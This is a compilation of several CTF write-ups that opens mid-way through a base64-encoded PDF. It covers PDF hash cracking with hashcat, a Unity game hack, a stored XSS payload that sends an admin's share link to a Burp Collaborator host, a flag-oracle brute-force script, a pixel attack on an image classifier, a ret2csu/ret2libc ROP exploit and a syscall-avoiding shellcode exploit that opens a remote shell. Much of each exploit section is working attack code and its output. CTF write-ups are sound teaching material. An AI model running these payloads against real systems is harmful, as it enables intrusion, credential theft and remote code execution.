VNjZmRaTmFRc1U3WnBlK0NMcUtodWI2bUt0R1UyNTZyQlZnSU8KOGE5bHdzbytTQVVwb0UxZnR6VlcycFZINkpXZ3pkYUp1V1FHWkxob0hJZGZtUC9wMzB6QlNnME9aeGxtTGlWTGRaYTZKajV6VU1qRQpYeElIeXdKbElxMTZPc0dzV0ZZaXVCclNjMFByRWdIZ2VyVDZsMkhBQmw4bDFIMlV3RHltdXl1NE85Zm5SNzlCWFUyNnpnaVBSQ0tQCkFYRFlCR04zaW1OZWs1eVhxSFF1Umkvb3ZiMzE3UUZPS0Q1RmJ0S1pqbWl2MTZjdmVLVzg0MzBoQitXZ0FjNnYyM0pMbHozK2V3Sm8KVjZHSDlYUi9UUW9rZVdYZkIreW9VbW5FaEtMNmw4ZjcyS0pLUGhiK08zVjNkL3BDd2ZWbGtHR2VqQnJNYUlsTU5QL1IwSlIzTFBlZApsWnp2K1k5S21YSXdLQjBFcThVVk0yWCsyUGtsVFI5TWxoa2NoUjdvU0xoZlZ1cmxkYVI3cGJRQThiVkxtL09zdWRFd3QvZGsyZTlSCmxBSThjZ2tYaGdrNmdWeVlYZXpjYzd2aHZTQmM5T1dTVUlsNWVpR2VpcFBDcENRZXpIdGdZa21uSjdoRzI2ZDZjM1RJTGtLU1V6M3cKeHJCdHZ6MG9Cbk1Td1c1UW1GZGpCOFdaVjd1bHczV202RTJoMDNLNE9ORStoWVlNdndOeGVjeTBvaXIyNWt2YjlnRlBZUXZSbnM5TQpOYTlGZGVLUVY1VFZmVlhTVUZrTjNUeWNnSDVpRGVSVDhMZDMxaFpKd3RZdVVRMlJoSnl6R2tSMUNjd3BHSHlHbWlpbFkrVW80Rjc3CnJCM292OXR0MDlhUGhoRnZxdzEvQys5UjdsSmF3amlZTTNoYXBtUkd3QTlYSGJNeFJ2K2FNWmtWUXJyVmIvVzlMcXpJM29ROWxEU2wKNFFWLzZROXluaXdnT28weFpjMmprVVdhbHZreUN4WFFEdkhrd0lBQ1Z6RS9KNmk1UmpEL0FudnlZUURlM0daME9iMnFIUGRJbGhHMwpDVWJxWkN3cmRLTXZEYWtEQW9wa2E5b0pUQnBBa3kybmtoL2hQd0gzWi9iN01kZ2JQUXp5U05jQnpXWGErVVlaZ3NrQmJrUDM1ZVl6CndRYWdUSDdvN1dMeVVHdC9CR3VBY1liVEdBZTZLa2lTQjIvdnlrbi8wYS9TNDhCTkMydWNBdmpVMHlRMHpxc0J0aTRQcUlUUE5FbFMKaGExKzZteUU0Z3lVdktIZGZXdU1KQ0l0Um5JVUZJSHRkWVZJenNPcmRqU3AvMG80Y1B2QWhxMldMNFNVWmQrN1dKdERXcEE3L2IzUgpRTnd6eWIrWnBmVmJOQThQbVdQL3ZVaVRMUUk3YnJvemJyNUFIeUlveWxxcVZaUEc1a2haRHVBMlBjWW1UbTFtbGRCYkgyNHh3aFZqCjNYYURudFJobEpBYytqbXpvemozS2hxeml2VlZ3U21jMzg2bnVDQm9DUi9ieWZzaFhvMFBkNjRndFRDZXNBeGc0a3FjeU44Q0hPQloKbzVndXdhZ0dRUk9Sb1VIUENaejNhRmYyTWRFNDVYQ2lnbTRhWUFoMmJMTWkySWRMUEo4d05kNnZFZkNEUnd0QUNTblFKSE5GVVdNdApiUHpVWnhCY1JlYzdEandPaTE2RXlvczRsT0I1UEFKT2dCSHhiWWlOdWpHM0xCQlZCaWtPUHk2UkwwKzV1dzNHWVpNZGI3OFByT3cxCmJqTkMrUmZTQ0swSk5aZ1YwcnpmeXlWVFpYYkxBbjArTy9IZGNUUlNNVXN1dGRRaUZvOFR2VjNQeml3TXkwa2JKbDNGMXJBUlJTaW4KcHlsVVNQQVNXcjFFd0dHNkVrM0J0MFJkWk9SWFhZNCt4Q3VpblJxM2lLWWdCTWQ5VmZyZU9NUlhIVEI5TmV6Y0ZIdjVUQ3ZoejIzOApZR1Z1WkhOMGNtVmhiUXBsYm1Sdlltb0tNVElnTUNCdlltb0tQRHdnTDBOR0lEdzhJQzlUZEdSRFJpQThQQ0F2UVhWMGFFVjJaVzUwCklDOUViMk5QY0dWdUlDOURSazBnTDBGRlUxWXpJQzlNWlc1bmRHZ2dNeklnUGo0Z1BqNGdMMFpwYkhSbGNpQXZVM1JoYm1SaGNtUWcKTDB4bGJtZDBhQ0F5TlRZZ0wwOGdQRGxpTldFNVpUVXdNR1ppT0RkbE9XUTBNVGN4WlRJeVptRTNOMlZpTldFM01tSmhPRFUzWkRKbApNbVZoWVRRMk56UmxZemhsWkRZNU9ETXhZemMzWm1SbU5EQXdZbVV5TnpGak16QTBaalk0TnpWa1pERmpOVEkzTW1FelptVm1NRDRnCkwwOUZJRHd6WkdVNE9XWmxOV1E1TXpkalpqaGhNR0l4TVRBMVpHUTNZell3WVRCak1qUmlaRE5qWVRCbE9ERTFZalU1WTJRd01tRTEKT1RVNE1XUXpOakUyTldKbFBpQXZVQ0F0TkNBdlVHVnliWE1nUERreFkySXpZVGd5TWpjMU5HUm1NbUUxT1daalpEY3hNVE15TkRJMQpZbU5qUGlBdlVpQTJJQzlUZEcxR0lDOVRkR1JEUmlBdlUzUnlSaUF2VTNSa1EwWWdMMVVnUERZM01UY3haV1kyT0RGbFpqa3haV1ExClltVmhOekUyWm1FMVpXTmxaR0U0T1dJNE5qVTVaVEZsTjJVMFl6VmlPREV3WW1Vek4ySmxabUl4WkdSa05tTmpZekF5TVRjd01UVmgKTVdWbFltTmxNbU00TkdVMU56WXdOMlF5TWpJeU5UNGdMMVZGSUR4bE5tVTFZMkpsTVdKbFpqUmlZVEV5WlRjMFlUUXpaVGhoTURjNQpPVGN3WldRNU16WTJORE16TXprMU5XVTNObVF5TWpNNU5tWmxOamt6Tmpka00yWmpQaUF2VmlBMUlENCtDbVZ1Wkc5aWFncDRjbVZtCkNqQWdNVE1LTURBd01EQXdNREF3TUNBMk5UVXpOU0JtSUFvd01EQXdNREF3TURFMUlEQXdNREF3SUc0Z0NqQXdNREF3TURBeU5ESWcKTURBd01EQWdiaUFLTURBd01EQXdNRFU1TXlBd01EQXdNQ0J1SUFvd01EQXdNREF3TnpVeUlEQXdNREF3SUc0Z0NqQXdNREF3TURBNApOVFFnTURBd01EQWdiaUFLTURBd01EQXdNVEV3TVNBd01EQXdNQ0J1SUFvd01EQXdNREF4TVRVNElEQXdNREF3SUc0Z0NqQXdNREF3Ck1ERXhPRGtnTURBd01EQWdiaUFLTURBd01EQXdNVFF6TnlBd01EQXdNQ0J1SUFvd01EQXdNREF4TmpNMUlEQXdNREF3SUc0Z0NqQXcKTURBd01ESXdORE1nTURBd01EQWdiaUFLTURBd01EQXdPVFkxTVNBd01EQXdNQ0J1SUFwMGNtRnBiR1Z5SUR3OElDOUViMk5EYUdWagphM04xYlNBdk5FVTVOME5FUTBVeE1rUTVPRGhCUlRFeFFqUXlPVUpGTWpWQlJEZzRSVFVnTDBsdVptOGdNaUF3SUZJZ0wxSnZiM1FnCk1TQXdJRklnTDFOcGVtVWdNVE1nTDBsRUlGczhZVGRsTjJZek1EUTBZV1V3TWpObU1XUXhabUZqTkRRNFltWXlOVFU1TW1NK1BESmoKTVRZd1ptTXpOamt4WlRnMVptRm1NamRrTWpCbE5tRmhNMlJsWW1NM1BsMGdMMFZ1WTNKNWNIUWdNVElnTUNCU0lENCtDbk4wWVhKMAplSEpsWmdveE1ERTVPUW9sSlVWUFJnbz0) and get the resulting pdf file.
- now the email says that the password for the pdf is a postal code. - this means the password is five digits, we can brute force this.
#### brute forcing the pdf password
- first extract the hash using [pdf2john](https://github.com/truongkma/ctf-tools/blob/master/John/run/pdf2john.py)
- your ouput from pdf2john should look like this, the highlighted part is what we're interested in.- we can now crack this in hashcat using the following command. - `hashcat -a 3 -m 10700 -o out.txt '<hash>' ?d?d?d?d?d` - `-a 3` specifies attack mode #3, bruteforce - `-m 10700` this is the hash type, optional because hashcat can autodetect hashes - `-o out.txt` specifies the output file - `?d?d?d?d?d` a mask of 5 `?d` chars which refers to digits 0-9- now if we look at out.txt, we can see the cracked password
- now we can use this password to unlock the pdf which contains the flag
## Flag
CSR{BigBigEntropy} |
So...what we have here is a simple racing game. Complete with a nice soothing soundtrack, some nice animations, and a very pleasant vaporwave aesthetic. It's also programmed to have alot of enemies. And by alot, I mean...*alot*. Impossibly alot.
Upon downloading the game and viewing the files (I used the windows version rather than the linux version since game hacking is much more straightforward on Windows thanks to tools like Cheat Engine), I quickly realized that the game engine used was the Unity game engine. However, the game is compiled using IL2CPP rather than the standard method of compilation, which means that reversing the code is going to be a bit more difficult due to the source code not being made visible to us.
### Decompiling the game-----In order to inspect the source code, I used a program known as [IL2CPP Inspector](https://github.com/djkaty/Il2CppInspector), which essentially just allows us to take the GameAssembly.dll file and convert it into DLL files which are readable by .NET decompilers like dotPeek (Which was the program I used).
And now we have access to Assembly-CSharp.dll, which is basically the main DLL usually containing the game's main code. What we can do from here, then, is to simply open it up in whichever .NET decompiler you wish to use. From there, we're able to see the names of the methods, variables, classes, etc. We aren't able to see the actual source code since we're only relying on metadata supplied, but it's still better than nothing.
Hmmm...this looks strange. There's a class called "DieOnCollision". Perhaps this might come in handy if we find some way to disable it.
### Exploiting-----
Let's get back to the game and open up Cheat Engine. From there, we're going to select our game's process so we can gain access to it. After doing so, we're going to be using CE's support for Mono (Located under the mono tab). This is very handy since it essentially speeds up the hacking process for us with .NET games due to it providing a very easy-to-use and straightforward interface regarding the classes and variables loaded into the game.
Perfect! We have a list of all the classes the game's using. Now, let's go edit that interesting "DieOnCollision" class I mentioned earlier. More specifically, the OnCollisionEnter method, since this is what actually gets executed upon colliding with the enemy.
When we double click we're greeted with the actual assembly code of that method. And when we scroll down, we're eventually greeted with an operator that calls the method "GameOver", which does what you think it does. Infact, the developers actually made this quite easy for us by making the Unity API methods call their own methods, since all we have to do is just replace this one line and we're essentially...well...done.
**GREAT!**
Now if we go back to our game and test it again...*it works!* When we hit the enemies, we don't die! Infact, it's quite funny to look at, since it kind of looks like we're plowing into a swarm of insects who can't do anything but obstruct our vision.
*...except for one thing...*
It appears that, in my moment of pure bliss for figuring out how we might actually get the flag...I forgot to realize that even though I'm no longer dying upon hitting them....I'm still being affected by physics. So much so that my car actually started to turn into an airplane because I was colliding with so many entities at once (You can even see my task manager in the screenshot because of how much I was practically rushing to get this screenshot, lol.)
Infact I also forgot the fact that when we fall off the map, the same "OnCollisionEnter" code I modified is *also* present. Therefore, in an attempt to restart the game by intentionally producing a Game Over...I ended up just continuously falling off the map. It was quite a sorrowing, sad experience if I'm being honest.
So yeah. Time to restart the game and try another route.
### A quick adjustment-----
After this occured though, another thought came into my head. Surely if these enemies exist, they have to be *spawned*, right? *why didn't I think of this earlier??*
Anyway; turns out I was correct. There's a Spawner class, which (as you can guess) handles the spawning of enemies. And if we took a closer look at it, we can see that there's an "Update" method present. Judging by our last experience, rather than editing the "SpawnPrefab" method directly, we could instead just edit the Update method as it's probably attempting to handle enemy spawning by executing every frame and whatnot. Turns out, I was correct.
So, from here, we can simply do what we did last time: replace the method call with a bunch of "nop" operations. And once that is complete, we can play the game again and see what happens.
And after doing so....*it works,* again. What used to be a bustling map full of enemies to bother us has now become (essentially) a ghost town.
From there, I enabled the speedhack functionality in Cheat Engine to (ironically) *slow* the game down so I could have more time to think and react toward catching the orbs. And if I'm being honest: it was quite tranquil. I don't know. Something about driving across a neon light street completely alone and surrounded by vaporwave mountains as synthwave was blaring in the background was just....divine. But once my peaceful driving session was over and I managed to reach 100%....there it was. The flag.
*Ignore the missing closing bracket at the end. No idea why that didn't show up for me, but rest assured it was confirmed to be a closing bracket.*
Anyway, big thanks to the makers of this CTF for making this challenge! It was quite fun and I did learn quite a lot :) |
This challenge had an XSS vulnerability when creating notes. The `token` cookie cannot be easilyexfiltrated as it is set with the `http-only` flag. Additionally, all instances of `.` in the inputis converted to the word `FANCY`. Thus, we have to write a payload that generates a share link forthe message with an ID of 1 as the admin user without the use of `.` and exfiltrate that link backto us.
The following payload achieves this.
```javascript</textarea><script>var home = new XMLHttpRequest();home["open"]("GET","/",false);home["send"](null);var homee = document["createElement"]("homex");homee["innerHTML"] = home["responseText"];var csrf = homee["getElementsByTagName"]("input")[2]["value"];var share = new XMLHttpRequest();share["open"]("POST","/shareNote",false);share["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded");share["send"]("id=1&csrf_token="+csrf);var sharee = document["createElement"]("sharex");sharee["innerHTML"] = share["responseText"];var msg = sharee["getElementsByTagName"]("script")[0]["firstChild"]["data"];new Image()["src"]="http://2cfd9esbvqsowgg5bv5sb45gx73xrm!burpcollaborator!net/?q="["replaceAll"]("!","\x2e")+msg;</script><textarea disabled class="textarea-auto">```
Properly encoded, the final `POST` request to create the malicious note is as follows:
```POST /addNotes HTTP/1.1Host: 35.197.213.145:9998User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 920Origin: http://35.197.213.145:9998Connection: closeReferer: http://35.197.213.145:9998/Cookie: connect.sid=s%3AGFZbNDy_q5gYnTiFU77IvnxRoTovFV7t.BvKBnwfizZzQ48foc6%2BEgq%2FEx6EvRlj20j4vTLtkXLE; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW1vbiJ9.XR9QBs8gEGD2WZd4yoTv9ivjo5tiFc5tnKQ8cQXrnt4Upgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache
message=</textarea><script>var+home+%3d+new+XMLHttpRequest()%3bhome["open"]("GET","/",false)%3bhome["send"](null)%3bvar+homee+%3d+document["createElement"]("homex")%3bhomee["innerHTML"]+%3d+home["responseText"]%3bvar+csrf+%3d+homee["getElementsByTagName"]("input")[2]["value"]%3bvar+share+%3d+new+XMLHttpRequest()%3bshare["open"]("POST","/shareNote",false)%3bshare["setRequestHeader"]("Content-type",+"application/x-www-form-urlencoded")%3bshare["send"]("id%3d1%26csrf_token%3d"%2bcsrf)%3bvar+sharee+%3d+document["createElement"]("sharex")%3bsharee["innerHTML"]+%3d+share["responseText"]%3bvar+msg+%3d+sharee["getElementsByTagName"]("script")[0]["firstChild"]["data"]%3bnew+Image()["src"]%3d"http%3a//2cfd9esbvqsowgg5bv5sb45gx73xrm!burpcollaborator!net/%3fq%3d"["replaceAll"]("!","\x2e")%2bmsg%3b</script><textarea+disabled+class%3d"textarea-auto">&csrf_token=GFZbNDy_q5gYnTiFU77IvnxRoTovFV7t```
Once the admin views the note, a ping back is received and the secret note is shared.
```GET /?q=window.location%20=%20%22/viewNote?msg=38da0324534cb65b1e3bed1a41a6d2e6ff62c2f1ea80902d7ebf8654b6db63720b2b0e247e8e2ee7b514f1e6ef7c36fa%22 HTTP/1.1Host: 2cfd9esbvqsowgg5bv5sb45gx73xrm.burpcollaborator.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4512.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Referer: http://35.197.213.145:9998/Accept-Encoding: gzip, deflateAccept-Language: en-US
```
We can access the note and grab the flag.
**Flag:** `VULNCON{Cha1n1ng_l1k3_4_pr0_or_g0_h0me}` |
This was a pain and manually deobfuscated. Here are my notes:
```Must start with VULNCON{ and end with }
Must contain a body of five groups separated by _
Constraints 1
data[2].length == 2 // data[2] must be length of 2 || data[1].length == 2 || data[1][1] == data[2][1] || data[2][1] - data[2][0]) == 4 // data[2][1] and data[2][0] must be numerical || data[1][0].charCodeAt(0) - data[1][1]) == 101 || data[1][0] == 'j')
Constraints 2
compare(runfun(xor, data[3]), 'f`C`?e') // data[3] == "71r1n6" || compare(runfun2(a, data[3], data[0]), [150, 234, 151, 101, 189, 29, 57, 44, 194, 164]) // data[0] is length 10 // a(expkey, expected) // '0bfu5c473d'
Putting it together
0bfu5c473d_j5_15_71r1n6_ABCDEF
Constraints 3
for (let i = 0; i < data[4].length; i++) { text += String.fromCharCode(xor(data[0][i].charCodeAt(0), data[4][i].charCodeAt(0))); }
// In [142]: xor(b'0bfu5c473d', [85, 1, 84, 76, 3, 87, 2, 84, 11, 6]) // Out[142]: b'ec29646c8b'
Final:
VULNCON{0bfu5c473d_j5_15_71r1n6_ec29646c8b}```
**Flag:** `VULNCON{0bfu5c473d_j5_15_71r1n6_ec29646c8b}` |
Interacting with the service gives us the following interface:
```consolenc 34.76.165.98 4545
__ __ .__/ \ / \ ____ | | ____ ____ _____ ____\ \/\/ // __ \| | _/ ___\/ _ \ / \_/ __ \ \ /\ ___/| |_\ \__( <_> ) Y Y \ ___/ \__/\ / \___ >____/\___ >____/|__|_| /\___ > \/ \/ \/ \/ \/
(>'-')>Hello! this is Kirby!!! I love to check the spelling of the FLAG!You have to spell it correctly and you'll win! Good luck!!!
Press ENTER to start...
[?]> 123Oops!!! Game Over!!!```
After playing around with the service a for a bit, we can discover that the flag is 33 characterslong.
```console nc 34.76.165.98 4545
__ __ .__/ \ / \ ____ | | ____ ____ _____ ____\ \/\/ // __ \| | _/ ___\/ _ \ / \_/ __ \ \ /\ ___/| |_\ \__( <_> ) Y Y \ ___/ \__/\ / \___ >____/\___ >____/|__|_| /\___ > \/ \/ \/ \/ \/
(>'-')>Hello! this is Kirby!!! I love to check the spelling of the FLAG!You have to spell it correctly and you'll win! Good luck!!!
Press ENTER to start...
[?]> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<(^-^)>Thanks for playing!Hmmmm!!! Don't be sad!!! Your score = 0/33```
Since the challenge gives us an oracle that tells us how many characters matches the flag, we canjust iterate it character by character using the following script:
```python#!/usr/bin/env python
from pwn import *
import string
# 24 b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n"flag_len = 24 + len("VULNCON{}")
# Exclude whitespaceCHARSET = string.printable[:94]
def attempt(data): p = remote("34.76.165.98", 4545)
data = "VULNCON{" + data + "A" * (24 - len(data)) + "}"
p.sendline(b"") p.sendline(data.encode())
p.recvuntil(b"[?]> ")
data = p.recvall() score = None if b"Your score" in data: temp = data.strip() score = int(temp[temp.index(b'=') + 2:temp.index(b'/')])
p.close()
return data, score
def main(): # The flag only has 9 correct characters at this point. # e.g. starting = "VULNCON{" + "A" * 24 + "}" middle_part = "" matching = 9 for i in range(24): for candidate in CHARSET: result, score = attempt(middle_part + candidate) print(result, score, middle_part) if score > matching: middle_part += candidate matching = score break
log.success("Flag: " + "VULNCON{" + middle_part + "}")
if __name__ == '__main__': main()
```
Running the exploit gives us the flag eventually:
```console$ python exploit.py[+] Opening connection to 34.76.165.98 on port 4545: Done[+] Receiving all data: Done (72B)[*] Closed connection to 34.76.165.98 port 4545b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9[+] Opening connection to 34.76.165.98 on port 4545: Done[+] Receiving all data: Done (72B)[*] Closed connection to 34.76.165.98 port 4545b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9[+] Opening connection to 34.76.165.98 on port 4545: Done[+] Receiving all data: Done (72B)[*] Closed connection to 34.76.165.98 port 4545b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9[+] Opening connection to 34.76.165.98 on port 4545: Done[+] Receiving all data: Done (72B)[*] Closed connection to 34.76.165.98 port 4545b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 9/33\n" 9[+] Opening connection to 34.76.165.98 on port 4545: Done
...
[*] Closed connection to 34.76.165.98 port 4545b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 32/33\n" 32 k1rby_7h3_5p3ll_ch3ck3r[+] Opening connection to 34.76.165.98 on port 4545: Done[+] Receiving all data: Done (73B)[*] Closed connection to 34.76.165.98 port 4545b"\n<(^-^)>\nThanks for playing!\nHmmmm!!! Don't be sad!!! Your score = 32/33\n" 32 k1rby_7h3_5p3ll_ch3ck3r[+] Opening connection to 34.76.165.98 on port 4545: Done[+] Receiving all data: Done (58B)[*] Closed connection to 34.76.165.98 port 4545b'\n<(^-^)>\nThanks for playing!\nYeyyyy!!! Your score = 33/33\n' 33 k1rby_7h3_5p3ll_ch3ck3r[+] Flag: VULNCON{k1rby_7h3_5p3ll_ch3ck3r!}```
**Flag:** `VULNCON{k1rby_7h3_5p3ll_ch3ck3r!}` |
[Original Writeup](https://0xcyberpj.me/my-blog/ctftime/osint-apocryphon/)
Description : > We got this suspicious email today in our inbox from someone claiming to have popped our infra and are now demanding a ransom. While we have high confidence that these claims are fake, we would still like to investigate the matter fully.Can you help us find the true identity of the person behind this email?The flag is in standard flag format.
### Flag : **dam{guess_im_in_your_sights_instead}** |
# TaskThe robot has a small dog in sight of its 32x32-pix camera and we are given five RGB-laser-pointers to manipulate a pixel each, so that the robot misinterprets the animal as a vehicle.Fortunately, we were also given a copy of the tensorFlow script and the neural network which for a given image returns a list of probabilities for seeing a *airplane*, *automobile*, *bird*, *cat*, *deer*, *dog*, *frog*, *horse*, *ship* or a *truck*.
# First attemptsHave you ever seen a dog full of red dots? We haven't either. So it was our first attempt to randomly put five red pixels into the image.And after a few hundred tries: Our dog turned into a horse! But horses are still animals...Also, changing the colors or focusing on certain areas of the image only turnd it to other animals (mainly horses and frogs).
And that makes perfect sense, since it's a much smaller step between a dog and a horse than to a truck.
So we need a more decent solution: We have to cover a huge search space (need of randomness) and we need to go step by step from good solutions to even better ones (optimization).
What was the solution to our problem? Right! Letting tensorFlow optimize it for us.
# Final SolutionHowever, we wrote a genetic algorithm because we had fun with it.
We began with a family of ten random modifications (a tuple of x,y,r,g,b each) and in every generation, we generated 10 descendants from each by calling *evolve()* and got 100 in total. Then we put the pixels into the image and asked SigmaNet for a prediction. At last we ranked them by the sum of properties of being vehicles and let the top five and five others survive.
After a few thousend generations we got the solution. When we spot our lasers at `[(23, 20, 27, 38, 208), (13, 4, 96, 122, 145), (9, 8, 125, 229, 0), (18, 15, 170, 57, 87), (11, 24, 17, 22, 73)]` with *(y,x,r,g,b)* -- Yes, somewhere we mixed up *x* and *y* ... -- our **dog turns into a plane**!
And we get the flag:-> HTB{0ne_tw0_thr33_p1xel_attack}
```from tensorflow.keras.models import load_modelfrom PIL import Imageimport numpy as npfrom random import randint
#class_names = ['airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']class_names = [True, True, False, False, False, False, False, False, True, True]
img_path = "dog.png"
class SigmaNet: #class was given def __init__(self): self.name = 'sigmanet' self.model_filename = 'sigmanet.h5' try: self._model = load_model(self.model_filename) print('Successfully loaded', self.name) except (ImportError, ValueError, OSError): print('Failed to load', self.name)
def color_process(self, imgs): if imgs.ndim<4: imgs = np.array([imgs]) imgs = imgs.astype('float32') mean = [125.307, 122.95, 113.865] std = [62.9932, 62.0887, 66.7048] for img in imgs: for i in range(3): img[:, :, i] = (img[:, :, i] - mean[i])/std[i] return imgs
def predict(self, img): processed = self.color_process(img) return self._model.predict(processed)[0]
def predict_one(self, img): confidence = self.predict(img)[0] predicted_class = np.argmax(confidence) return class_names[predicted_class]
def predict_one_calced(self,weights): # method added predicted_class = np.argmax(weights) return class_names[predicted_class]
def ran_pixel(): x = randint(0, 31) y = randint(0, 31) r = randint(0,255) g = randint(0,255) b = randint(0,255) return x, y, r, g, b
def evolve(x,y,r,g,b): n = randint(0,99) if n<56: if n<32: if n<16: if n<8: x = max(0, x-randint(1,4)) else: x = min(31, x+randint(1,4)) else: if n<24: y = max(0, y-randint(1,4)) else: y = min(31, y+randint(1,4)) else: if n<48: if n<40: r = max(0, r-randint(1,6)) else: r = min(255, r+randint(1,6)) else: g = max(0, g-randint(1,6)) else: if n<84: if n<72: if n<64: g = min(255, g+randint(1,6)) else: b = max(0, b-randint(1,6)) else: if n<80: b = min(255, b+randint(1,6)) else: x = randint(0,31) else: if n<92: if n<88: y = randint(0,31) else: r = randint(0,255) else: if n<96: g = randint(0,255) else: b = randint(0,255) return x,y,r,g,b
img = Image.open(img_path).convert("RGB")sigma = SigmaNet()gen = 0fmly = [[ran_pixel() for __ in range(5)] for _ in range(10)]clean_data = np.array(img)rank = [(3.1,4) for i in range(100)]
while True: desc = [[evolve(*laser) for laser in cld] for cld in fmly for _ in range(10)]
for i, d in enumerate(desc): data = clean_data.copy() for x,y,r,g,b in d: data[y, x] = [r,g,b]
ret = sigma.predict(data) cls = sigma.predict_one_calced(ret)
if cls: print("Our dog turned into a vehicle!") print(d)
img = Image.fromarray(data) img.show() exit(0) rank[i] = (ret[0]+ret[1]+ret[8]+ret[9],i) if gen%128 == 0: print(gen) gen += 1
rank.sort(reverse=True) fmly[0] = desc[rank[0][1]] fmly[1] = desc[rank[1][1]] fmly[2] = desc[rank[2][1]] fmly[3] = desc[rank[3][1]] fmly[4] = desc[rank[4][1]]
fmly[5] = desc[rank[randint(5,25)][1]] fmly[6] = desc[rank[randint(5,25)][1]] fmly[7] = desc[rank[randint(5,25)][1]] fmly[8] = desc[rank[randint(26,50)][1]] fmly[9] = desc[rank[randint(26,50)][1]]``` |
Downloading the binary, we see its a 64 bit executable. Running it an annoying pop up flickers, and after a seemingly random amount of time, it asks whether we want to turn off the alarm. Whether you put yes or no, it ignores you. Looking at the decompilation, we can actually stop the program by entering `9`. Another thing that stands out is that `puts` is not used in the program.
That doesn't sound like an issue, but `puts` requires the control of one register (rdi=buffer to print), where as write requires control of three registers (rdi = file descriptor, rsi = buffer to print, rdx = number of bytes to write).
Let's go and get gadgets for these registers. Well that's an issue. We have no way to control the rdx register.
```bash> ropper --file minimelfistic --search "pop rsi|pop rdi|pop rdx"[INFO] Load gadgets from cache[LOAD] loading... 100%[LOAD] removing double gadgets... 100%[INFO] Searching for gadgets: pop rsi|pop rdi|pop rdx
[INFO] File: minimelfistic0x0000000000400a43: pop rdi; ret;0x0000000000400a41: pop rsi; pop r15; ret;```
This is a textbook scenario for the use of the ret2csu technique, also known as the universal gadget. . Essentially there is a section of every dynamically linked binary which contains 2 gadgets, allowing us to control rdi, rsi amd rdx.
We can do this by hand but pwntools can do simple method of this
```python#!/usr/bin/env python3
from pwn import *
elf = ELF("./minimelfistic", checksec=False)libc = ELF("./libc.so.6", checksec=False)ld = ELF("./ld-2.27.so", checksec=False)
context.binary = elfrop = ROP(elf)#context.log_level = "debug"
gs = '''continue'''
def conn(): if args.REMOTE: r = remote("68.183.40.128",31598) else: r = process([elf.path]) if args.GDB: return gdb.debug(elf.path, gdbscript=gs) return r
p = conn()
# symbolsmain = elf.sym.mainwrite_got = elf.got.writewrite_plt = elf.plt.write
# gadgetspop_rdi = 0x0000000000400a43ret = 0x0000000000400616
# write leak with ret2csurop.raw(pop_rdi)rop.raw(p64(1))rop.ret2csu(1, elf.got.write, 8,1,1,1,1,1,1)rop.raw(pop_rdi)rop.raw(p64(1))rop.call(elf.plt.write)rop.call(elf.sym.main)
payload = flat({72:rop.chain()})
p.sendlineafter(b">", payload)p.sendlineafter(b">", b"9")p.recvline()p.recvline()p.recvline()
leak = u64(p.recv(6).ljust(8, b"\x00"))info(f"Leaked libc @ {hex(leak)}")libc.address = leak - libc.sym.writesuccess(f"Leaked Libc @ {hex(libc.address)}")
# now ret2libcrop2 = ROP(libc)binsh = next(libc.search(b"/bin/sh"))
rop2.raw(pop_rdi)rop2.raw(binsh)rop2.raw(libc.sym.system)
payload2 = flat({72:rop2.chain()})
p.sendlineafter(b">", payload2)p.sendlineafter(b">", b"9")pause(1)p.sendline("cat flag.txt")log.critical(f"{p.recvline_contains(b'HTB').decode()}")``` |
This challenge is a basic 'execute-your-shellcode' challenge with the following constraints:
1. The buffer containing the shellcode is set to `execute` with `mprotect`. This frustrates polymorphic payloads.2. Payloads containing the `0x0f05` sequence is not permitted. This corresponds to `syscall`.
The following exploit re-uses `mprotect` in the GOT to set all permissions on the shellcode bufferand then executes a standard encoded `execve("/bin/sh")` shellcode.
```bash cat exploit.sh#!/bin/bash
# Set mprotect rwx preamble.# mov rdi, 0x69420000# mov rsi, 0x100# mov rdx, 0x7# mov r8, 0x4010f0# call r8
(python -c 'import sys;from pwn import *;x=b"\x48\xC7\xC7\x00\x00\x42\x69\x48\xC7\xC6\x00\x01\x00\x00\x48\xC7\xC2\x07\x00\x00\x00\x49\xC7\xC0\xF0\x10\x40\x00\x41\xFF\xD0" + encode(asm(pwnlib.shellcraft.amd64.linux.sh(), arch="amd64"), avoid=b"\x0f\x05");sys.stdout.buffer.write(x)'; cat -) | nc 35.228.15.118 1338```
Executing the exploit gives us a shell and allows us to get the flag:
```console$ bash exploit.shAre you really good at shellcoding Lets try :iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)ls -latotal 64drwxr-xr-x 1 root root 4096 Dec 4 10:09 .drwxr-xr-x 1 root root 4096 Nov 29 05:47 ..-rw-r--r-- 1 root root 220 Feb 25 2020 .bash_logout-rw-r--r-- 1 root root 3771 Feb 25 2020 .bashrc-rw-r--r-- 1 root root 807 Feb 25 2020 .profile-rwxr-xr-x 1 root root 17128 Nov 26 15:51 chall-rw-rw-r-- 1 root root 48 Dec 4 06:27 flag-rwxr-xr-x 1 root root 18744 Nov 29 11:11 ynetdcat flagVULNCON{Gu355_u_d0nt_n33d_th3_5y5c4ll_aft3r4ll}```
**Flag:** `VULNCON{Gu355_u_d0nt_n33d_th3_5y5c4ll_aft3r4ll}` |
